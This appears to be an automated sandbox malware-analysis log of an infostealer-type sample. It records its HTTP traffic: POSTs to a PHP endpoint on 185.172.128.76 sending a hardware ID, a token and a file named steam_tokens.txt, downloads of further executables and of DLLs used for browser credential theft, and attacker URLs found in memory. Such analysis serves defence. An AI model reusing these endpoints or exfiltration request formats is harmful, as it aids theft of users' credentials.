Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECHost: 185.172.128.76Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKFHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHHost: 185.172.128.76Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFCHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGHHost: 185.172.128.76Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAECHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIEHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJEHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHIHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGHHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDAHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCFHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFBHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIEHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEHHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCFHost: 185.172.128.76Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJEHost: 185.172.128.76Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 33 63 38 30 33 34 32 62 39 62 66 33 36 34 65 33 62 63 61 31 35 31 61 66 38 65 39 37 38 61 35 62 37 31 63 31 37 61 32 61 39 37 30 65 37 61 64 30 66 65 61 39 64 64 35 38 30 39 35 37 66 33 65 66 63 66 34 37 65 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"1a3c80342b9bf364e3bca151af8e978a5b71c17a2a970e7ad0fea9dd580957f3efcf47e4------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file"------FIDAFIEBFCBKFHIDHIJE--
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBGHost: 185.172.128.76Content-Length: 122287Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFBFCBFBKECAAKJKFBHost: 185.172.128.76Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 33 63 38 30 33 34 32 62 39 62 66 33 36 34 65 33 62 63 61 31 35 31 61 66 38 65 39 37 38 61 35 62 37 31 63 31 37 61 32 61 39 37 30 65 37 61 64 30 66 65 61 39 64 64 35 38 30 39 35 37 66 33 65 66 63 66 34 37 65 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 68 65 72 37 68 34 38 72 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="token"1a3c80342b9bf364e3bca151af8e978a5b71c17a2a970e7ad0fea9dd580957f3efcf47e4------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="message"her7h48r------GDBFBFCBFBKECAAKJKFB--
Source: global traffic	HTTP traffic detected: GET /tiktok.exe HTTP/1.1Host: 185.172.128.203Cache-Control: no-cache

Source: Joe Sandbox View	IP Address: 185.172.128.90 185.172.128.90
Source: Joe Sandbox View	IP Address: 185.172.128.228 185.172.128.228

Source: Joe Sandbox View

ASN Name: NADYMSS-ASRU NADYMSS-ASRU

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /cpa/ping.php?substr=one&s=ab&sub=28381000 HTTP/1.1Host: 185.172.128.90User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ping.php?substr=one HTTP/1.1Host: 185.172.128.228User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /syncUpd.exe HTTP/1.1Host: 185.172.128.59User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /1/Package.zip HTTP/1.1Host: note.padd.cn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /BroomSetup.exe HTTP/1.1Host: 185.172.128.228User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: POST /__svc/sbv/DownloadManager.ashx HTTP/1.0Connection: keep-aliveContent-Length: 300Host: svc.iolo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Encoding: identityUser-Agent: Mozilla/3.0 (compatible; Indy Library)
Source: global traffic	HTTP traffic detected: POST /__svc/sbv/DownloadManager.ashx HTTP/1.0Connection: keep-aliveContent-Length: 300Host: svc.iolo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Encoding: identityUser-Agent: Mozilla/3.0 (compatible; Indy Library)

Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.59

Source: C:\Users\user\AppData\Local\Temp\i1.exe

Code function: 6_2_0042676C __EH_prolog,WSAStartup,socket,WSACleanup,gethostbyname,htons,connect,send,send,recv,recv,recv,recv,recv,WSACleanup,closesocket,

6_2_0042676C

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 26 Apr 2024 08:50:51 GMTContent-Type: application/zipContent-Length: 3884863Last-Modified: Wed, 24 Apr 2024 05:45:46 GMTConnection: keep-aliveETag: "66289c8a-3b473f"Strict-Transport-Security: max-age=31536000Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 0b 3f 98 58 ef da 8c 80 dd c7 12 00 09 49 14 00 09 00 00 00 62 75 6e 63 68 2e 64 61 74 5c 5d 87 a2 aa 3a 16 cd af 89 8a 20 22 2a 16 10 05 54 ec 15 1b fa f7 b3 d6 4e 3c 77 66 bc ef 58 20 24 3b bb 65 b7 e4 29 a5 ac 9e af 7c 75 5d 2b bc a6 ca 55 2a 56 ea a9 7e af 81 db 9b bd d4 66 da 52 6a 65 f7 f5 b5 1d fe 1a b5 40 f5 66 f8 72 c0 df 56 0d 95 da 17 4a 2d f0 23 55 bd e7 b3 b7 bc 2a b5 de ab 3d ba 54 13 f5 45 13 35 cc 94 5a fa e3 83 aa 26 b5 9e 7a cf 95 fa f4 27 18 6b a2 8e 25 9e cb 4a 65 a9 cb 85 03 dc d4 5b 35 1e e8 cd c6 8f f7 50 c5 db 85 42 7f b5 19 40 05 ac f3 07 2e bf d4 e9 96 a8 47 eb fc 7a 5b 2a 8f 2d 42 31 e2 c3 ce d0 4a 7a 23 0c a9 ce d7 25 de bb 4a b1 fb a6 6a 06 0f d5 57 f5 a4 0e 18 af b5 00 1d 3e 36 32 eb 6a 4b 28 95 bc 0d d4 f1 a3 1a a1 9a c4 a5 02 84 45 b4 54 c9 51 7d d6 6a dd 5f 49 8b 8e 52 ee 54 45 6a a3 3e d2 f1 8b 4f c6 2a 99 3a 4a 25 6f a5 da aa 18 02 8b ec aa a6 b2 60 82 66 2b 4f a9 d6 1c 57 3e 15 87 c0 a3 dd 53 8e 49 4e 43 f5 6d ab 36 be a9 7c 77 51 bb 78 6b ba 4b fa eb fb e5 c8 6f bd 44 1d da 82 f4 13 3a ec 6e 34 01 be 0b f5 50 3e be 84 2a 4d 86 5f 7c 1b a9 8d 50 a7 52 40 9d 67 57 00 90 af 6b 98 90 58 dd c1 01 4d 62 4d d5 0b 9a 17 00 48 0d e6 07 f5 11 e0 eb 20 0c be a0 97 c5 23 6f 05 43 43 fb 21 da b5 c6 fd 31 21 52 f5 67 a2 f2 0a f8 51 63 20 22 50 0d 95 ab c2 51 87 33 a0 48 d0 42 f3 46 e7 7c 1d c6 aa 91 29 97 e0 bd ea cf c6 f8 a9 ae 13 dc f0 40 81 bf 57 f3 a8 36 9f a1 5a 03 15 37 90 39 e0 b5 ed a2 af b6 fc ea 91 64 27 60 5f bf 36 c0 7a 72 25 61 c7 c3 b6 85 1b 00 2a 1e 37 00 2c 2e 92 dd 6c 0c e4 a8 8e a3 2e 68 cb 76 9f f4 18 a0 8b e3 50 0d 4f 05 66 e1 8d 15 21 f4 fd 59 b7 f3 23 b3 b0 59 81 37 cd c2 67 d5 d8 b9 76 3d c4 f0 6b 7f a3 00 f0 4a d5 f9 d4 4e 23 5c a5 35 cc 93 d7 c1 d2 c2 a3 5d cc a7 ca f8 ad 1f b6 3c cf 56 47 55 00 7e 99 cb 9d a8 c7 2c bd d1 58 1e 6f 9b 6b 2e 80 23 8f ce 3f 76 a1 16 25 88 30 ac 2b f2 f9 8d 6d d8 28 6d c5 9e ea 61 68 be 4a 47 3e 16 00 83 fd d8 6d f7 d1 56 99 9a 0c dd f7 d3 6b 62 c0 f3 9a f3 42 ab 6a 58 a1 17 bc 56 24 70 92 a9 93 20 ce 95 c7 3f 9b 3c d8 aa f7 16 bd 5e cf 1d cc 25 4b 41 3d 30 5c be 28 ba c3 09 a6 f8 b8 51 ac 6c 3e 8c 3b 78 ad db 23 57 d5 96 40 40 1b 74 49 55 20 1d a6 f3 51 1b a0 8c 08 9a a5 16 97 14 c2 c0 d9 90 19 2f 65 c9 99 37 45 77 c4 95 f5 7d 68 dc e2 5e 4e e2 02 c5 20 89 9e 18 bb c2 8f 91 f9 de 2b 95 e6 fb 0e c8 b2 c7 0f 8d a9 62 52 7a ca ea f7 1a e3 8b 0a 81 9a 86 32 72 a5 66 1e de 84 75 27 6f bc f1 73 1c 7d 31 05 f4 b8 6a c5 7b 10 27 25 b5 c0 19 b5 85 1a b6 3f ce 81 8d 5a 03 fc 4d d5 00 d3 d4 ca ae 39 2e 7c 50 be dd 57 a3 6f a9 d6 f9 63 a0 92 d1 9b 33 c0 00 ed 15 48 5c 87 34 95 a2 42 8a c6 a3 c0 dc df df 3b 31 34 d1 a2 36 35 93 51 33 00 85 b9 f7 32 34 24 8b ec

Source: global traffic	HTTP traffic detected: GET /load/load.php?c=1000 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: dsepc5ud74wta.cloudfront.netConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /load/th.php?c=1000 HTTP/1.1Host: dsepc5ud74wta.cloudfront.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /load/dl.php?id=425&c=1000 HTTP/1.1Host: dsepc5ud74wta.cloudfront.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /load/dl.php?id=444 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: dsepc5ud74wta.cloudfront.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /load/dl.php?id=456 HTTP/1.1Host: dsepc5ud74wta.cloudfront.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /385128/setup.exe HTTP/1.1Host: monoblocked.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /385128/setup.exe HTTP/1.1Host: c.574859385.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 19 Mar 2024 23:10:10 GMTUser-Agent: Microsoft BITS/7.8Host: download.iolo.net
Source: global traffic	HTTP traffic detected: GET /ISetup1.exe HTTP/1.1Host: 185.172.128.59Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cpa/ping.php?substr=one&s=ab&sub=28381000 HTTP/1.1Host: 185.172.128.90User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ping.php?substr=one HTTP/1.1Host: 185.172.128.228User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /syncUpd.exe HTTP/1.1Host: 185.172.128.59User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /1/Package.zip HTTP/1.1Host: note.padd.cn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/sqlite3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/freebl3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /BroomSetup.exe HTTP/1.1Host: 185.172.128.228User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/mozglue.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/msvcp140.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/nss3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/softokn3.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/vcruntime140.dll HTTP/1.1Host: 185.172.128.76Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /tiktok.exe HTTP/1.1Host: 185.172.128.203Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: dsepc5ud74wta.cloudfront.net
Source: global traffic	DNS traffic detected: DNS query: 240216234727901.mjj.xne26.cfd
Source: global traffic	DNS traffic detected: DNS query: note.padd.cn.com
Source: global traffic	DNS traffic detected: DNS query: monoblocked.com
Source: global traffic	DNS traffic detected: DNS query: c.574859385.xyz
Source: global traffic	DNS traffic detected: DNS query: svc.iolo.com
Source: global traffic	DNS traffic detected: DNS query: download.iolo.net
Source: global traffic	DNS traffic detected: DNS query: www.rapidfilestorage.com
Source: global traffic	DNS traffic detected: DNS query: helsinki-dtc.com
Source: global traffic	DNS traffic detected: DNS query: skrptfiles.tracemonitors.com

Source: unknown

HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDBHost: 185.172.128.76Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 34 39 37 45 32 30 37 42 35 46 43 33 30 37 31 38 35 39 34 36 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 2d 2d 0d 0a Data Ascii: ------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="hwid"E497E207B5FC3071859460------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="build"default10------IJKJDAFHJDHIEBGCFIDB--

Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmp, u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exe
Source: u5do.0.exe, 00000008.00000002.2524680807.00000000041E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exe$
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000549000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exe00
Source: u5do.0.exe, 00000008.00000002.2524680807.00000000041E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exe=
Source: u5do.0.exe, 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exet-Disposition:
Source: u5do.0.exe, 00000008.00000002.2524569287.000000000416E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76
Source: u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/freebl3.dll
Source: u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/mozglue.dll
Source: u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/mozglue.dll0?
Source: u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/msvcp140.dll
Source: u5do.0.exe, 00000008.00000002.2524680807.000000000418A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/nss3.dll
Source: u5do.0.exe, 00000008.00000002.2524680807.000000000418A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/nss3.dllf
Source: u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/softokn3.dll
Source: u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/softokn3.dllj?:
Source: u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/sqlite3.dll
Source: u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/vcruntime140.dll
Source: u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/15f649199f40275b/vcruntime140.dllUM
Source: u5do.0.exe, 00000008.00000003.2163332935.00000000041FA000.00000004.00000020.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php
Source: u5do.0.exe, 00000008.00000002.2524680807.00000000041CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.76/3cd2b41cbde8fc9c.php4.
